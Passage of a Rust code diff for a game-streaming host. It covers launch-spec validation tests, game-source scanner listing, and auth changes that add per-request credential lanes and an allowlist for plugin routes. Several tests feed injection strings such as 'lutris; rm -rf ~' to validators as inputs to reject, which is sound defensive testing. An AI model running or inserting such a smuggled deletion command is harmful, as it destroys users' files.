assert!(valid_steam_ui("desktop"));
|
||||
assert!(!valid_steam_ui("gamepadui"));
|
||||
assert!(!valid_steam_ui(""));
|
||||
assert!(!valid_steam_ui("bigpicture; rm -rf ~"));
|
||||
}
|
||||
|
||||
/// The `launcher_ui` kind exists because D4's original plan — non-Steam launchers riding the
|
||||
/// `command` kind — stopped being available to plugins when the 2026-08-05 review made
|
||||
/// `command` operator-only. A plugin names a launcher; the host builds the command.
|
||||
#[test]
|
||||
fn launcher_ui_accepts_only_launchers_this_host_can_open() {
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
assert!(valid_launcher_ui("heroic"));
|
||||
assert!(valid_launcher_ui("lutris"));
|
||||
// Not wired on this OS — refused inbound rather than becoming a tile that does nothing.
|
||||
assert!(!valid_launcher_ui("gog"));
|
||||
}
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
{
|
||||
// No Windows/macOS launcher UIs are wired yet, so every value is refused.
|
||||
assert!(!valid_launcher_ui("heroic"));
|
||||
assert!(!valid_launcher_ui("gog"));
|
||||
}
|
||||
assert!(!valid_launcher_ui(""));
|
||||
assert!(!valid_launcher_ui("lutris; rm -rf ~"));
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
#[test]
|
||||
fn launcher_ui_opens_the_launcher_itself() {
|
||||
let ui = |v: &str| {
|
||||
command_for(&LaunchSpec {
|
||||
kind: "launcher_ui".into(),
|
||||
value: v.into(),
|
||||
})
|
||||
};
|
||||
// Bare `lutris` opens the window; the URI form is the `lutris_id` kind and launches a game.
|
||||
assert_eq!(ui("lutris").as_deref(), Some("lutris"));
|
||||
assert!(!ui("lutris").unwrap().contains("rungameid"));
|
||||
// Heroic resolves the same way its game launches do, but with no `--no-gui` and no URI — so
|
||||
// the window IS what opens. `None` on a box without Heroic, which is a correct answer.
|
||||
if let Some(cmd) = ui("heroic") {
|
||||
assert!(!cmd.contains("--no-gui"), "the GUI is the point: {cmd:?}");
|
||||
assert!(!cmd.contains("heroic://"), "no game URI: {cmd:?}");
|
||||
}
|
||||
assert_eq!(ui("nonsense"), None);
|
||||
assert_eq!(ui(""), None);
|
||||
}
|
||||
|
||||
#[cfg(not(windows))]
|
||||
#[test]
|
||||
fn steam_ui_resolves_to_the_client_ui_on_linux() {
|
||||
let ui = |v: &str| {
|
||||
command_for(&LaunchSpec {
|
||||
kind: "steam_ui".into(),
|
||||
value: v.into(),
|
||||
})
|
||||
};
|
||||
// Big Picture is the SteamOS game-mode shape; nested in gamescope this is what `--steam`
|
||||
// integration is built around.
|
||||
assert_eq!(ui("bigpicture").as_deref(), Some("steam -gamepadui"));
|
||||
assert_eq!(ui("desktop").as_deref(), Some("steam"));
|
||||
assert_eq!(ui("nonsense"), None);
|
||||
assert_eq!(ui(""), None);
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn steam_ui_resolves_to_the_client_ui_on_windows() {
|
||||
let ui = |v: &str| {
|
||||
windows_launch_for(&LaunchSpec {
|
||||
kind: "steam_ui".into(),
|
||||
value: v.into(),
|
||||
})
|
||||
};
|
||||
let (bp, wd) = ui("bigpicture").expect("bigpicture recipe");
|
||||
assert!(bp.contains("steam://open/bigpicture"), "line was {bp:?}");
|
||||
assert!(wd.is_none());
|
||||
let (desk, _) = ui("desktop").expect("desktop recipe");
|
||||
assert!(desk.contains("steam://open/main"), "line was {desk:?}");
|
||||
assert!(ui("nonsense").is_none());
|
||||
assert!(ui("").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn steam_appid_validation_accepts_appids_and_shortcut_gameids() {
|
||||
assert!(valid_steam_appid("570"));
|
||||
// The 64-bit shortcut game id shares the `steam_appid` kind — `rungameid` takes either.
|
||||
assert!(valid_steam_appid(
|
||||
&shortcut_gameid(2_456_789_012).to_string()
|
||||
));
|
||||
assert!(!valid_steam_appid(""));
|
||||
assert!(!valid_steam_appid("570; rm -rf ~"));
|
||||
assert!(!valid_steam_appid("-1"));
|
||||
}
|
||||
|
||||
/// Moved here with `shortcut_gameid` (WP1.1): the composed id is launch vocabulary, not
|
||||
/// enumeration — the scanner only supplies the 32-bit appid it read out of `shortcuts.vdf`.
|
||||
#[test]
|
||||
fn shortcut_gameid_composes_appid_and_marker() {
|
||||
let id = shortcut_gameid(0x8000_0000);
|
||||
assert_eq!(id >> 32, 0x8000_0000, "high dword is the shortcut appid");
|
||||
assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000, "low dword is the marker");
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn epic_launch_uri_triple_bare_and_guard() {
|
||||
assert_eq!(
|
||||
epic_launch_uri("fn:abc:Fortnite").as_deref(),
|
||||
Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true")
|
||||
);
|
||||
assert_eq!(
|
||||
epic_launch_uri("Fortnite").as_deref(),
|
||||
Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true")
|
||||
);
|
||||
assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected
|
||||
assert!(epic_launch_uri("").is_none());
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn gog_spawn_parses_and_guards() {
|
||||
let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap();
|
||||
assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip");
|
||||
assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3")));
|
||||
let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap();
|
||||
assert_eq!(cmd2, "\"C:\\g.exe\"");
|
||||
assert!(wd2.is_none());
|
||||
assert!(gog_spawn("").is_none());
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn windows_launch_for_maps_and_guards() {
|
||||
|
||||
@@ -84,6 +84,7 @@ fn lutris_games(db: &Path) -> rusqlite::Result<Vec<GameEntry>> {
|
||||
for (id, slug, name, directory) in rows.flatten() {
|
||||
games.push(GameEntry {
|
||||
provider: None,
|
||||
role: GameRole::Game,
|
||||
meta: GameMeta::pc(),
|
||||
id: format!("lutris:{id}"),
|
||||
store: "lutris".into(),
|
||||
|
||||
@@ -12,19 +12,41 @@
|
||||
|
||||
use super::*;
|
||||
|
||||
/// One installed-store scanner this host build supports, with its enable state — the unit the
|
||||
/// console renders a toggle for. The list is platform-gated at compile time (the scanners are),
|
||||
/// so the console never shows a toggle that cannot do anything on this host.
|
||||
/// One **game source** on this host, with its enable state — the unit the console renders a toggle
|
||||
/// for. A source is either a scanner compiled into this build or a plugin that reconciles entries in
|
||||
/// (WP2.6); the console treats them identically, which is what makes the extraction invisible.
|
||||
#[derive(Clone, Debug, Serialize, ToSchema)]
|
||||
pub struct ScannerInfo {
|
||||
/// Stable scanner id — the same string the scanner's entries carry in their `store` field.
|
||||
/// Stable source id — the same string this source's entries carry in their `store` field. For a
|
||||
/// plugin source it is also its provider id and its store claim: one string, by construction, so
|
||||
/// a user's disabled state survives a built-in scanner being replaced by its plugin.
|
||||
#[schema(example = "steam")]
|
||||
pub id: String,
|
||||
/// Human-facing name for the console toggle.
|
||||
#[schema(example = "Steam")]
|
||||
pub label: String,
|
||||
/// Whether this host runs the scanner (default true).
|
||||
/// Whether this host runs the source (default true).
|
||||
pub enabled: bool,
|
||||
/// Where the source comes from: `builtin` (a scanner in this host build) or `plugin`.
|
||||
#[schema(example = "builtin")]
|
||||
pub origin: SourceOrigin,
|
||||
/// The provider id backing a `plugin` source — absent for a built-in scanner.
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub provider: Option<String>,
|
||||
/// How many entries this source currently contributes. `None` for a built-in scanner, whose
|
||||
/// count would mean walking every launcher's files just to render a toggle.
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub entries: Option<usize>,
|
||||
}
|
||||
|
||||
/// Where a [`ScannerInfo`] comes from.
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, ToSchema)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum SourceOrigin {
|
||||
/// A scanner compiled into this host build.
|
||||
Builtin,
|
||||
/// A plugin reconciling entries over the provider API.
|
||||
Plugin,
|
||||
}
|
||||
|
||||
/// The scanners compiled into THIS host build: (id, label). Steam is cross-platform; the rest are
|
||||
@@ -87,26 +109,93 @@ pub(crate) fn disabled_scanners() -> HashSet<String> {
|
||||
load_settings().disabled.into_iter().collect()
|
||||
}
|
||||
|
||||
/// The scanners available on this platform with their current enable state, in the fixed
|
||||
/// definition order (stable for the console).
|
||||
/// Every game source on this host with its current enable state (WP2.6):
|
||||
///
|
||||
/// 1. the built-in scanners this build compiled in, **minus** any whose store a plugin has claimed
|
||||
/// (the plugin replaces it, so showing both would offer two toggles for one thing);
|
||||
/// 2. the claimed stores themselves, as plugin sources;
|
||||
/// 3. any other provider that has entries — the *emergent* case (rom-manager, playnite), which has
|
||||
/// never had a toggle before and gets one for free here.
|
||||
///
|
||||
/// Built-ins keep their fixed definition order (stable for the console); plugin sources follow,
|
||||
/// sorted by id.
|
||||
pub fn list_scanners() -> Vec<ScannerInfo> {
|
||||
let off = disabled_scanners();
|
||||
scanner_defs()
|
||||
let claims = crate::library::claimed_stores();
|
||||
let entries = crate::library::load_custom();
|
||||
|
||||
let mut out: Vec<ScannerInfo> = scanner_defs()
|
||||
.into_iter()
|
||||
.filter(|(id, _)| !claims.contains_key(*id))
|
||||
.map(|(id, label)| ScannerInfo {
|
||||
id: id.to_string(),
|
||||
label: label.to_string(),
|
||||
enabled: !off.contains(id),
|
||||
origin: SourceOrigin::Builtin,
|
||||
provider: None,
|
||||
entries: None,
|
||||
})
|
||||
.collect()
|
||||
.collect();
|
||||
|
||||
// A claimed store shows under the SCANNER's label where we know one, so the row a user has been
|
||||
// toggling for releases doesn't rename itself out from under them mid-migration.
|
||||
let label_for = |id: &str| {
|
||||
scanner_defs()
|
||||
.into_iter()
|
||||
.find(|(sid, _)| *sid == id)
|
||||
.map(|(_, label)| label.to_string())
|
||||
.unwrap_or_else(|| id.to_string())
|
||||
};
|
||||
|
||||
let mut plugin_ids: Vec<(String, String)> = claims
|
||||
.iter()
|
||||
.map(|(store, provider)| (store.clone(), provider.clone()))
|
||||
.collect();
|
||||
// Emergent providers: any provider with entries that isn't already listed via a claim.
|
||||
for e in &entries {
|
||||
let Some(provider) = e.provider.as_deref() else {
|
||||
continue;
|
||||
};
|
||||
if e.store.is_none() && !plugin_ids.iter().any(|(id, _)| id == provider) {
|
||||
plugin_ids.push((provider.to_string(), provider.to_string()));
|
||||
}
|
||||
}
|
||||
plugin_ids.sort();
|
||||
plugin_ids.dedup();
|
||||
|
||||
out.extend(plugin_ids.into_iter().map(|(id, provider)| {
|
||||
let count = entries
|
||||
.iter()
|
||||
.filter(|e| crate::library::source_id_for(e) == Some(id.as_str()))
|
||||
.count();
|
||||
ScannerInfo {
|
||||
label: label_for(&id),
|
||||
enabled: !off.contains(&id),
|
||||
origin: SourceOrigin::Plugin,
|
||||
provider: Some(provider),
|
||||
entries: Some(count),
|
||||
id,
|
||||
}
|
||||
}));
|
||||
out
|
||||
}
|
||||
|
||||
/// Enable/disable one scanner. `None` when `id` names no scanner available on this platform (the
|
||||
/// mgmt layer maps that to 404 — the console only ever sees this host's own list). Persists and
|
||||
/// emits `library.changed` (source = the scanner id) only when the state actually changed, so a
|
||||
/// repeated PUT is a cheap no-op.
|
||||
/// Whether `id` names a source that exists on this host right now — a compiled-in scanner, a claimed
|
||||
/// store, or a provider with entries. The toggle accepts exactly these (an unknown id still 404s).
|
||||
fn is_known_source(id: &str) -> bool {
|
||||
scanner_defs().iter().any(|(sid, _)| *sid == id) || list_scanners().iter().any(|s| s.id == id)
|
||||
}
|
||||
|
||||
/// Enable/disable one source. `None` when `id` names no source on this host (the mgmt layer maps
|
||||
/// that to 404 — the console only ever sees this host's own list). Persists and emits
|
||||
/// `library.changed` (source = the id) only when the state actually changed, so a repeated PUT is a
|
||||
/// cheap no-op.
|
||||
///
|
||||
/// The **same** `library-scanners.json` disabled-set backs built-in and plugin sources alike, and
|
||||
/// the ids match by construction — so a user who disabled `steam` before the migration still has it
|
||||
/// disabled after the steam plugin claims the store, with nothing to carry over.
|
||||
pub fn set_scanner_enabled(id: &str, enabled: bool) -> Result<Option<Vec<ScannerInfo>>> {
|
||||
if !scanner_defs().iter().any(|(sid, _)| *sid == id) {
|
||||
if !is_known_source(id) {
|
||||
return Ok(None);
|
||||
}
|
||||
let mut settings = load_settings();
|
||||
|
||||
@@ -29,6 +29,7 @@ impl LibraryProvider for SteamProvider {
|
||||
.filter(|app| !is_steam_tool(app.appid, &app.name))
|
||||
.map(|app| GameEntry {
|
||||
provider: None,
|
||||
role: GameRole::Game,
|
||||
meta: GameMeta::pc(),
|
||||
id: format!("steam:{}", app.appid),
|
||||
store: "steam".into(),
|
||||
@@ -383,6 +384,7 @@ fn shortcut_entry(sc: Shortcut) -> Option<GameEntry> {
|
||||
}
|
||||
Some(GameEntry {
|
||||
provider: None,
|
||||
role: GameRole::Game,
|
||||
meta: GameMeta::pc(),
|
||||
id: format!("steam:{}", sc.appid),
|
||||
store: "steam".into(),
|
||||
@@ -426,12 +428,8 @@ fn shortcuts_files() -> Vec<PathBuf> {
|
||||
files
|
||||
}
|
||||
|
||||
/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the
|
||||
/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the
|
||||
/// bare 32-bit appid does not launch a shortcut — it must be this composed id.)
|
||||
fn shortcut_gameid(appid: u32) -> u64 {
|
||||
((appid as u64) << 32) | 0x0200_0000
|
||||
}
|
||||
// `shortcut_gameid` (the 64-bit `rungameid` composition) moved to `launch.rs` (WP1.1) — it is launch
|
||||
// vocabulary; this module only reads the 32-bit appid out of `shortcuts.vdf`.
|
||||
|
||||
/// The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the
|
||||
/// high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern
|
||||
@@ -762,12 +760,7 @@ mod tests {
|
||||
assert!(launch.value.bytes().all(|b| b.is_ascii_digit()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shortcut_gameid_composes_appid_and_marker() {
|
||||
let id = shortcut_gameid(0x8000_0000);
|
||||
assert_eq!(id >> 32, 0x8000_0000); // high dword is the appid
|
||||
assert_eq!(id & 0xFFFF_FFFF, 0x0200_0000); // low dword is the shortcut marker
|
||||
}
|
||||
// `shortcut_gameid_composes_appid_and_marker` moved with the function to `launch.rs` (WP1.1).
|
||||
|
||||
#[test]
|
||||
fn crc32_matches_the_known_check_value_and_derives_a_high_bit_appid() {
|
||||
|
||||
@@ -70,6 +70,7 @@ fn xbox_games() -> Vec<GameEntry> {
|
||||
let art = cached_art(&id).unwrap_or_default();
|
||||
games.push(GameEntry {
|
||||
provider: None,
|
||||
role: GameRole::Game,
|
||||
meta: GameMeta::pc(),
|
||||
id,
|
||||
store: "xbox".into(),
|
||||
|
||||
@@ -796,7 +796,16 @@ fn parse_serve(args: &[String]) -> Result<(mgmt::Options, native::NativeServe, b
|
||||
// The scripting runner's scoped credential: minted + persisted (plugin-token) alongside the
|
||||
// admin token so a plugin's zero-config `connect()` picks it up — it authorizes the plugin
|
||||
// surface but not hook registration or pairing administration (mgmt::auth::plugin_may_access).
|
||||
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
|
||||
//
|
||||
// Only when a runner is actually installed. It used to be minted unconditionally on every
|
||||
// `serve`, so a host with no plugins — the common case — still persisted a second
|
||||
// admin-adjacent credential to disk and kept a second authentication lane live for a
|
||||
// subsystem it does not run (2026-08-05 review L-21). Installing the runner later mints it on
|
||||
// the next start, and an existing plugin-token file is picked up unchanged, so nothing about
|
||||
// the plugin flow changes for a host that has one.
|
||||
if crate::plugins::runtime_status().installed {
|
||||
opts.plugin_token = Some(crate::mgmt_token::load_or_generate_plugin()?);
|
||||
}
|
||||
// Default the mgmt listener to ALL interfaces (not just loopback) so a paired native client can
|
||||
// fetch the game library over mTLS with no operator step — the whole point of "browse works by
|
||||
// default". This only LAN-exposes the read-only cert allowlist; the bearer-token admin surface
|
||||
|
||||
@@ -17,6 +17,42 @@ use axum::http::Method;
|
||||
use axum::middleware::Next;
|
||||
use sha2::{Digest, Sha256};
|
||||
|
||||
/// **Which credential authorized this request**, attached to the request extensions by
|
||||
/// [`require_auth`] on every request it forwards.
|
||||
///
|
||||
/// [`plugin_may_access`] answers "may this lane reach this route"; this answers "may this lane set
|
||||
/// this *field*". Some payloads carry operator-privileged fields on routes a plugin otherwise has
|
||||
/// every business calling — the library reconcile is the case that matters: a provider plugin owns
|
||||
/// its entry set, but `prep` and `launch.kind == "command"` are executed verbatim as the host user
|
||||
/// (`/bin/sh -c` / `cmd.exe /c`), which is the same primitive the `/hooks` carve-out withholds.
|
||||
/// Route-level authorization cannot express that; a handler holding this can (see
|
||||
/// [`crate::library::reject_privileged_fields`]).
|
||||
///
|
||||
/// Extracted by handlers as `Extension<AuthLane>`. A missing extension is a 500, not a default —
|
||||
/// a router that forgot the middleware must fail closed, never silently grant admin.
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
pub(crate) enum AuthLane {
|
||||
/// The operator's admin bearer token (loopback): everything, including the privileged fields.
|
||||
Admin,
|
||||
/// The scripting runner's scoped bearer token (loopback): [`plugin_may_access`] routes, and
|
||||
/// never the operator-privileged fields inside them.
|
||||
Plugin,
|
||||
/// A paired streaming client certificate (mTLS, LAN): the read-only [`cert_may_access`] set.
|
||||
Cert,
|
||||
/// An always-open route (`/health`) or the loopback-only tray summary — no credential at all.
|
||||
Public,
|
||||
}
|
||||
|
||||
impl AuthLane {
|
||||
/// Whether this lane may set fields that become command execution as the host user. Only the
|
||||
/// operator's own token may: the console is the surface where the operator types a command, and
|
||||
/// typing it there is the trust decision. Everything else is refused, including a paired cert
|
||||
/// (which cannot reach a write route anyway — belt and braces if the allowlist ever grows).
|
||||
pub(crate) fn may_set_privileged_fields(self) -> bool {
|
||||
matches!(self, AuthLane::Admin)
|
||||
}
|
||||
}
|
||||
|
||||
/// Auth gate on the `/api/v1` routes: a paired client cert (mTLS, from anywhere) or the bearer token
|
||||
/// (from a **loopback** peer only) — required always (the host runs with a token by construction).
|
||||
/// `/api/v1/health` stays open for probes; `/api/v1/local/summary` is open to loopback peers only
|
||||
@@ -28,8 +64,15 @@ pub(crate) async fn require_auth(
|
||||
req: Request,
|
||||
next: Next,
|
||||
) -> Response {
|
||||
/// Stamp the authorizing lane onto the request before it reaches a handler, so a handler can
|
||||
/// refuse operator-privileged FIELDS to a non-operator lane (see [`AuthLane`]).
|
||||
async fn forward(mut req: Request, next: Next, lane: AuthLane) -> Response {
|
||||
req.extensions_mut().insert(lane);
|
||||
next.run(req).await
|
||||
}
|
||||
|
||||
if req.uri().path() == "/api/v1/health" {
|
||||
return next.run(req).await; // liveness probe is always open
|
||||
return forward(req, next, AuthLane::Public).await; // liveness probe is always open
|
||||
}
|
||||
// The tray icon's status source: non-sensitive counts/booleans only, unauthenticated but
|
||||
// confined to LOOPBACK peers. The bearer-token file (and cert.pem) are SYSTEM/Administrators-
|
||||
@@ -43,7 +86,7 @@ pub(crate) async fn require_auth(
|
||||
.get::<PeerAddr>()
|
||||
.is_none_or(|a| a.0.ip().is_loopback());
|
||||
return if from_loopback {
|
||||
next.run(req).await
|
||||
forward(req, next, AuthLane::Public).await
|
||||
} else {
|
||||
api_error(
|
||||
StatusCode::UNAUTHORIZED,
|
||||
@@ -61,7 +104,7 @@ pub(crate) async fn require_auth(
|
||||
if cert_may_access(req.method(), req.uri().path())
|
||||
&& st.native.as_ref().is_some_and(|n| n.is_paired(fp))
|
||||
{
|
||||
return next.run(req).await;
|
||||
return forward(req, next, AuthLane::Cert).await;
|
||||
}
|
||||
}
|
||||
// Otherwise require the bearer token (the web console / admin) — but only from a LOOPBACK peer.
|
||||
@@ -92,7 +135,7 @@ pub(crate) async fn require_auth(
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.and_then(|v| v.strip_prefix("Bearer "));
|
||||
match presented {
|
||||
Some(token) if token_eq(token, expected) => next.run(req).await,
|
||||
Some(token) if token_eq(token, expected) => forward(req, next, AuthLane::Admin).await,
|
||||
// The scripting runner's scoped lane: same loopback confinement as the admin token, but
|
||||
// routes that would let a plugin escalate — registering hooks (arbitrary command
|
||||
// execution as the host user) or administering pairing (admitting/ejecting devices,
|
||||
@@ -105,7 +148,7 @@ pub(crate) async fn require_auth(
|
||||
.is_some_and(|pt| token_eq(token, pt)) =>
|
||||
{
|
||||
if plugin_may_access(req.method(), req.uri().path()) {
|
||||
next.run(req).await
|
||||
forward(req, next, AuthLane::Plugin).await
|
||||
} else {
|
||||
api_error(
|
||||
StatusCode::FORBIDDEN,
|
||||
@@ -121,9 +164,18 @@ pub(crate) async fn require_auth(
|
||||
}
|
||||
}
|
||||
|
||||
/// Which routes the scripting runner's **plugin token** may reach: the admin surface minus the
|
||||
/// escalation routes. Exclusion-based (a plugin legitimately reads status/library/events, drives
|
||||
/// sessions, and registers its UI lease), with these carve-outs:
|
||||
/// The routes the scripting runner's **plugin token** may reach — an explicit **allowlist**, so a
|
||||
/// route added later is denied until someone classifies it (`plugin_lane_classifies_every_route` in
|
||||
/// `mgmt::tests` fails the build otherwise).
|
||||
///
|
||||
/// This gate used to be a denylist of route prefixes, and that is precisely how the 2026-08-05
|
||||
/// review's H-1/H-2 arrived: `/api/v1/library` was never enumerated, so the plugin lane inherited
|
||||
/// two copies of the very "arbitrary command execution as the host user" primitive the `/hooks`
|
||||
/// carve-out exists to withhold, plus an unconfined file read. Every sibling gate in the system
|
||||
/// (`cert_may_access`, the QUIC pairing gate, the console's `isPublicPath`) is deny-by-default;
|
||||
/// this one now is too.
|
||||
///
|
||||
/// What stays *out* of the list, and why:
|
||||
/// - **hooks** — `hooks.json` runs operator commands on lifecycle events; writing it is arbitrary
|
||||
/// command execution as the host user, and reading it can expose webhook credentials.
|
||||
/// - **pairing administration** — arming/approving/denying/unpairing (and PIN visibility) decide
|
||||
@@ -133,29 +185,90 @@ pub(crate) async fn require_auth(
|
||||
/// secret; only the console proxy (admin token) needs it.
|
||||
/// - **the plugin store** — installing a plugin is running new code with operator privileges, and a
|
||||
/// plugin that can do that is a persistence/escalation primitive: it could install a helper that
|
||||
/// isn't constrained the way it is, or switch the runner's own service state. Denied wholesale
|
||||
/// (reads included — the catalog is not sensitive, but there is no reason a plugin needs it, and
|
||||
/// a whole-prefix deny can't be defeated by a route added later).
|
||||
/// isn't constrained the way it is, or switch the runner's own service state.
|
||||
/// - **the update surface** — operator business end to end (`apply` runs an installer / the root
|
||||
/// helper).
|
||||
///
|
||||
/// The library *writes* below are on the list because a provider plugin's whole job is reconciling
|
||||
/// its own entries — but the two operator-privileged FIELDS inside those payloads (`prep`, and
|
||||
/// `launch.kind == "command"`) are refused to this lane in the handlers, via [`AuthLane`]. Route
|
||||
/// reachability and field authority are separate questions and this gate only answers the first.
|
||||
pub(crate) fn plugin_may_access(method: &Method, path: &str) -> bool {
|
||||
let denied = path == "/api/v1/hooks"
|
||||
|| path == "/api/v1/store"
|
||||
|| path.starts_with("/api/v1/store/")
|
||||
|| path == "/api/v1/pair"
|
||||
|| path.starts_with("/api/v1/pair/")
|
||||
|| path == "/api/v1/native/pair"
|
||||
|| path.starts_with("/api/v1/native/pair/")
|
||||
|| path == "/api/v1/native/pending"
|
||||
|| path.starts_with("/api/v1/native/pending/")
|
||||
|| (method == Method::DELETE
|
||||
&& (path.starts_with("/api/v1/clients/")
|
||||
|| path.starts_with("/api/v1/native/clients/")))
|
||||
|| (path.starts_with("/api/v1/plugins/") && path.ends_with("/ui-credential"))
|
||||
// The update surface is operator business end to end: today it is only a check, but
|
||||
// the same prefix will carry `apply` (running an installer / the root helper), and a
|
||||
// whole-prefix deny can't be defeated by a route added later.
|
||||
|| path == "/api/v1/update"
|
||||
|| path.starts_with("/api/v1/update/");
|
||||
!denied
|
||||
// (method, path) pairs, `{}` matching exactly one path segment. Grouped as the route table is.
|
||||
const ALLOWED: &[(&Method, &str)] = &[
|
||||
// Host / status reads.
|
||||
(&Method::GET, "/api/v1/health"),
|
||||
(&Method::GET, "/api/v1/host"),
|
||||
(&Method::GET, "/api/v1/status"),
|
||||
(&Method::GET, "/api/v1/local/summary"),
|
||||
(&Method::GET, "/api/v1/compositors"),
|
||||
(&Method::GET, "/api/v1/events"),
|
||||
(&Method::GET, "/api/v1/logs"),
|
||||
// The paired-device rosters: read-only. (DELETE is pairing administration — not listed.)
|
||||
(&Method::GET, "/api/v1/clients"),
|
||||
(&Method::GET, "/api/v1/native/clients"),
|
||||
// GPU + display control: host configuration a plugin may legitimately steer (a room
|
||||
// automation plugin swaps the layout with the lights); no privilege boundary crossed.
|
||||
(&Method::GET, "/api/v1/gpus"),
|
||||
(&Method::PUT, "/api/v1/gpus/preference"),
|
||||
(&Method::GET, "/api/v1/display/settings"),
|
||||
(&Method::PUT, "/api/v1/display/settings"),
|
||||
(&Method::GET, "/api/v1/display/state"),
|
||||
(&Method::GET, "/api/v1/display/monitors"),
|
||||
(&Method::PUT, "/api/v1/display/layout"),
|
||||
(&Method::POST, "/api/v1/display/release"),
|
||||
(&Method::GET, "/api/v1/display/presets"),
|
||||
(&Method::POST, "/api/v1/display/presets"),
|
||||
(&Method::PUT, "/api/v1/display/presets/{}"),
|
||||
(&Method::DELETE, "/api/v1/display/presets/{}"),
|
||||
// Session control: stopping/steering a session is what a launcher plugin exists to do.
|
||||
(&Method::DELETE, "/api/v1/session"),
|
||||
(&Method::POST, "/api/v1/session/idr"),
|
||||
(&Method::GET, "/api/v1/session/settings"),
|
||||
(&Method::PUT, "/api/v1/session/settings"),
|
||||
(&Method::POST, "/api/v1/game/end"),
|
||||
// Library: reads, plus the provider reconcile a scanner plugin is built around. The
|
||||
// operator-only FIELDS inside these payloads are refused separately (see `AuthLane`).
|
||||
(&Method::GET, "/api/v1/library"),
|
||||
(&Method::GET, "/api/v1/library/art/{}/{}"),
|
||||
(&Method::GET, "/api/v1/library/scanners"),
|
||||
(&Method::PUT, "/api/v1/library/scanners/{}"),
|
||||
(&Method::POST, "/api/v1/library/custom"),
|
||||
(&Method::PUT, "/api/v1/library/custom/{}"),
|
||||
(&Method::DELETE, "/api/v1/library/custom/{}"),
|
||||
(&Method::PUT, "/api/v1/library/provider/{}"),
|
||||
(&Method::DELETE, "/api/v1/library/provider/{}"),
|
||||
// Stats / telemetry.
|
||||
(&Method::POST, "/api/v1/stats/capture/start"),
|
||||
(&Method::POST, "/api/v1/stats/capture/stop"),
|
||||
(&Method::GET, "/api/v1/stats/capture/status"),
|
||||
(&Method::GET, "/api/v1/stats/capture/live"),
|
||||
(&Method::GET, "/api/v1/stats/recordings"),
|
||||
(&Method::GET, "/api/v1/stats/recordings/{}"),
|
||||
(&Method::DELETE, "/api/v1/stats/recordings/{}"),
|
||||
// The plugin's own directory entry + log ingest (its UI lease registration).
|
||||
(&Method::GET, "/api/v1/plugins"),
|
||||
(&Method::POST, "/api/v1/plugins/logs"),
|
||||
(&Method::PUT, "/api/v1/plugins/{}"),
|
||||
(&Method::DELETE, "/api/v1/plugins/{}"),
|
||||
];
|
||||
ALLOWED
|
||||
.iter()
|
||||
.any(|(m, pat)| *m == method && path_matches(pat, path))
|
||||
}
|
||||
|
||||
/// Match a route pattern against a concrete path, `{}` standing for exactly one segment. Segment-
|
||||
/// wise (never a substring/prefix test), so `/api/v1/plugins/{}` cannot swallow
|
||||
/// `/api/v1/plugins/x/ui-credential` the way a `starts_with` would.
|
||||
fn path_matches(pattern: &str, path: &str) -> bool {
|
||||
let (mut p, mut a) = (pattern.split('/'), path.split('/'));
|
||||
loop {
|
||||
match (p.next(), a.next()) {
|
||||
(None, None) => return true,
|
||||
(Some(pe), Some(ae)) if pe == "{}" || pe == ae => continue,
|
||||
_ => return false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Which routes a paired *streaming* cert (mTLS, no bearer token) may reach: a small allowlist of
|
||||
|
||||
@@ -1,8 +1,46 @@
|
||||
//! Library-tagged management endpoints: installed-store + custom game entries and box art.
|
||||
//! Split out of the `mgmt` facade (plan §W5).
|
||||
|
||||
use super::auth::AuthLane;
|
||||
use super::shared::*;
|
||||
use axum::http::header;
|
||||
use axum::Extension;
|
||||
|
||||
/// Refuse a write whose payload carries an operator-privileged field to a lane that may not set one
|
||||
/// (2026-08-05 review H-1), and refuse any local art path the proxy would not serve back (H-2).
|
||||
///
|
||||
/// Both checks belong here rather than in the route gate: `PUT /library/provider/{p}` is a route a
|
||||
/// provider plugin must be able to call — reconciling its own entry set is the whole point of a
|
||||
/// scanner plugin — while `prep` / `launch.kind = "command"` inside that payload are the operator's
|
||||
/// authority alone. Route reachability and field authority are separate questions.
|
||||
///
|
||||
/// `Some(response)` is the refusal to return; `None` means the payload may proceed. Deliberately
|
||||
/// not `Result<(), Response>`: the "error" here IS the response the handler sends, so there is no
|
||||
/// error value to propagate, and a 128-byte `Response` in an `Err` variant is what
|
||||
/// `clippy::result_large_err` objects to.
|
||||
fn check_entry_fields(
|
||||
lane: AuthLane,
|
||||
art: &crate::library::Artwork,
|
||||
launch: Option<&crate::library::LaunchSpec>,
|
||||
prep: &[crate::hooks::PrepCmd],
|
||||
) -> Option<Response> {
|
||||
if !lane.may_set_privileged_fields() {
|
||||
if let Some(field) = crate::library::privileged_field(launch, prep) {
|
